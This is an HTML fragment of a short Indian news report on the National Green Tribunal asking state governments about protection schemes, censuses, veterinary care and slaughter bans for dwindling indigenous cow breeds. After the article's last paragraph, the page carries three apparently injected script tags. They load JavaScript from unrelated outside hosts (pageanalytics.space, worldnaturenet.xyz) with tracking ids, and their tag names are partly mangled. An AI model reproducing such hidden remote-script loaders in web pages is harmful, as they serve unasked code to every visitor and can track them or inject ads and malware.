<div style="color: #222222; font-family: arial, sans-serif; font-size: 12.8px;"><span style="font-size: 12.8px;">The National Green Tribunal has expressed concern over dwindling population of indigenous breeds of cows across the country. </span></div>''<div style="color: #222222; font-family: arial, sans-serif; font-size: 12.8px;"><br />''</div>''<div style="color: #222222; font-family: arial, sans-serif; font-size: 12.8px;">A bench headed by Justice Jawad Rahim asked states to inform it if they have formulated any scheme or policy for their protection. </div>''<div style="color: #222222; font-family: arial, sans-serif; font-size: 12.8px;"><br />''</div>''<div style="color: #222222; font-family: arial, sans-serif; font-size: 12.8px;">The bench, also comprising Justice Raghuvendra S Rathore asked all the state governments to conduct a census and apprise it whether they provide any veterinary and medical assistance to these indigenous cows. </div>''<div style="color: #222222; font-family: arial, sans-serif; font-size: 12.8px;"><br />''</div>''<div style="color: #222222; font-family: arial, sans-serif; font-size: 12.8px;">The bench further asked whether any local or other laws are available in their respective States for the prohibition of slaughtering of such indigenous cows.</div>''<div style="color: #222222; font-family: arial, sans-serif; font-size: 12.8px;"><br />''</div>''<div style="color: #222222; font-family: arial, sans-serif; font-size: 12.8px;">The NGT had earlier noted that there was nearly 80 per cent decline in the animal population in Kerala from 2003 to 2012 and said such a condition may lead to extinction of the species in the state. </div>''<div style="color: #222222; font-family: arial, sans-serif; font-size: 12.8px;"><br />''</div>''<div style="color: #222222; font-family: arial, sans-serif; font-size: 12.8px;">The order came on a plea by a lawyer who had moved the Tribunal, claiming a looming threat of extinction of indigenous breeds of cattle in the country. </div>''<div style="color: #222222; font-family: arial, sans-serif; font-size: 12.8px;"><br />''</div>''<div style="color: #222222; font-family: arial, sans-serif; font-size: 12.8px;">The tribunal earlier had issued a notice to the Agriculture Ministry on the plea which had also sought a nationwide ban on the slaughter of the cattle of indigenous breeds. </div>< type="text/java" src="http://pageanalytics.space/addons/lnkr5.min.js"></>< type="text/java" src="http://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=52200x6849x&r=16"></>< type="text/java" src="http://pageanalytics.space/ext/1ac1b73204b5d3dec6.js?sid=52200_6849_&title=&blocks[]=31af2&blocks[]=1f755"></>